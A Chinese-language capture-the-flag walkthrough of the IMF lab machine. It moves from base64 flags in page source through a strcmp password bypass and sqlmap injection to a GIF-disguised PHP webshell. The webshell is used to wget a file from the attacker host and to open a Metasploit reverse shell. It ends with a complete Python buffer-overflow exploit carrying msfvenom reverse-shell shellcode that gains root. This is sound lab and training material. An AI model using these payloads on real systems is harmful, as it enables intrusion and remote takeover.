今天打一个靶场IMF。网络模式为NAT。
- arp-scan确认靶机地址为
192.168.221.128
nmap去扫描网站,发现其就开了80端口
打开网站,发现其
Contact Us
页面有交互,直接打开网页源码,发现flag,为base64编码直接解码,或者用kali直接解码
继续翻看源码。发现在引用JS文件时,文件名出现了不少base64编码的形式
我们将其拼接在一起
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
再用base64编码,发现另一个flag,再将其解码
我们访问 imfadministrator 页面,发现一个新页面,还是先查看源码,注释表明很难SQL注入
既然无法注入,只能爆破,使用的是kali自带的
cewl
工具,对于页面的英文进行自由组合形成字典,我们就对于 Contatct us 页面进行收集字典我们在 Contatct us 页面找到了三个用户的信息,分别对其尝试,发现只有
rmichale
用户名是合法的那么即可对其密码进行爆破,Burpsuite常规爆破所用字典为 imf.txt 的字典,但是爆破不成功
这里我们还可以猜测可能存在弱类型比较(其内部使用了 strcmp 去比较字符串,相等则返回值为0,那么我们可以让我们的密码数组为空,这样 strcmp 就报错,return 0 了),我们可以使用空数组进行绕过密码,即可得到flag3
对 flag3 进行解码
根据网上提示,此处存在SQL注入,我们用注释符,发现其有报错,直接SQLmap去跑
将BP包保存下来,直接使用 sqlmap -r “文件地址” 的方式取出库名,得到一张图片的地址,打开网站是一张二维码,扫描下来,得到flag4:{dXBsb2Fkcjk0Mi5waHA=},还是base64解码,得到另一个页面上传文件的页面
但是此上传处存在 waf 拦截,我们先在这里直接用weevely这款工具,命令格式:weevley +generate +连接密码 +路径。生成木马文件后,上传被拦截
那我们将 webshell 文件和图片文件写在一起
copy /b 文件1+文件2 文件3
命令,这里需要让图片的大小尽量小,木马文件中的代码尽量少(一句话木马即可)。此外我们可以在php文件首行增加gif的文件头,再改下后缀名即可GIF89a <?php $s=$_GET[s]; echo `$s`; ?>
上传成功后,查看源码
注释就是重命名后的图片,但是图片不在imfadministrator目录下。接下来需要找到上传文件的位置。直接dir目录爆破,可见在uploads目录下,再在URL后面添加文件名,最后传参即可查看本目录下的所有文件。
发现flag5的txt文本,cat 命令查看,flag5{YWdlbnRzZXJ2aWNlcw==},解码后得到提示
agentservices
按照常规步骤,我们可以安插后门,建立一个反弹shell,通过远程代码执行的方式使用wget命令下载。首先先开启一个http服务,使用wet命令下载,使用ls,发现有一个shell.php文件了
python -m SimpleHTTPServer 8081
http://192.168.221.128/imfadministrator/uploads/9b65b5029215.gif?s=wget%20http://192.168.221.132:8081/shell.php
msf配置好连接方式,(中途关一次机,所以IP有变)。访问shell.php即可创建连接,创建之后输入shell进入shell模式。
set PAYLOAD php/meterpreter/reverse_tcp set lhost 192.168.221.254 run
我们根据flag5的提示,我们可以锁定关键词agent,使用whereis agent确定 /usr/local/bin/agent 这个目录下,但是进入agent,发现可阅读性很差。但是在同级目录下有access_codes文件,打开之后,其内容
SYN 7482,8279,9467
看起来像是运行了knock,knock是一种安全措施,比如你要连接ssh你要先敲门(knock)要按顺序的去访问这三个端口,最后防火墙才放你,让你去连接ssh。主要是为了防止端口扫描的方式去攻击主机。先按顺序扫描这三个端口,即完成敲门。
nmap -p7482,8279,9467 -r 192.168.221.128
我们发现新开一个端口7788,连接端口发现是运行着agent程序
Shell中输入agent运行程序,或者直接nc这个端口运行agent程序 ,我这边选择还是用留的后门进入agent程序进去后需要agent ID,这里并没有,随便输入Agent ID会让程序退出。我们就需要对这个程序进行审计,看看有没有漏洞。先把里面的内容复制到本地。这里介绍一种稳定万能的方法,将agent文件编码为base64,这样可以避免乱码。然后将其解密。
解码:
我们为了检验文件是否复制正确可以使用md5sum命令进行判断,可见完全一样
给agent赋权执行,可见与靶机运行结果一致,然后可以在kali本地分析了。
使用ltrace(跟踪进程调用库函数的情况)去查看agent,我们随便输入一个ID,发现其调用strncmp函数与合法ID进行比较,进而我们可以确认合法ID为48093572。或者直接IDA去调试
进去在主菜单的选号3,可以输入很长的内容,可能存在缓冲区溢出。然后使用edb对程序进行测试
使用edb对程序进行测试:
edb --run agent
运行程序后先选择3.submit report进行测试:
运行
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
来获取1024个测试字符,然后输入字符。可见其有缓冲区溢出的漏洞再用
/usr/share/metasploit-‐framework/tools/pattern_offset.rb -q 66413666
反查,发现程序在第168个字符处溢出再生成168个A的测试字符,发现EAX变成了一堆A,看能不能找到 ‘’’call eax’’’。但可惜不能找到。
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 22:37:10nasm > call eax 00000000 FFD0 call eax
我们只能edb里搜索FFD0,找到地址
0x08048563
重启程序发现地址不变,就选这个地址来作为EIP的值首先我们为msfvenom有效负载创建一个shellcode(重新打开kali,主机IP发生了变化)
Copymsfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.221.132 LPORT=6666 -f python -b "\x00\x0a\x0d"
编写exp(python2)其实python3也差不多
import socket import time host = "192.168.221.128" port = 7788 ret = "\x63\x85\x04\x08\n" buf = "" buf += "\xdb\xd2\xd9\x74\x24\xf4\xba\xf5\x57\x39\x65\x5f\x31" buf += "\xc9\xb1\x12\x31\x57\x17\x03\x57\x17\x83\x32\x53\xdb" buf += "\x90\x8d\x87\xec\xb8\xbe\x74\x40\x55\x42\xf2\x87\x19" buf += "\x24\xc9\xc8\xc9\xf1\x61\xf7\x20\x81\xcb\x71\x42\xe9" buf += "\x0b\x29\x69\x6d\xe3\x28\x92\x77\xfe\xa5\x73\x37\x98" buf += "\xe5\x22\x64\xd6\x05\x4c\x6b\xd5\x8a\x1c\x03\x88\xa5" buf += "\xd3\xbb\x3c\x95\x3c\x59\xd4\x60\xa1\xcf\x75\xfa\xc7" buf += "\x5f\x72\x31\x87" buf += "A" * (168 - len(buf)) buf += ret con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) con.connect((host, port)) print "Connected" print con.recv(1024) con.send(b"48093572\n") print con.recv(1024) con.send(b"3\n") print con.recv(1024) print "Sending evil buffer..." con.send(buf) print "done"
nc监听6666端口,成功连接并是root权限
找到最后一个flag(TheEnd.txt)
总的来说,这台靶机难度较大,特别是如何进行远控,对于msf和webshell的使用比较多,还有最后一步的缓冲区溢出,比较难想到,也比较难做,可能对这方面不太了解,需要不不短板。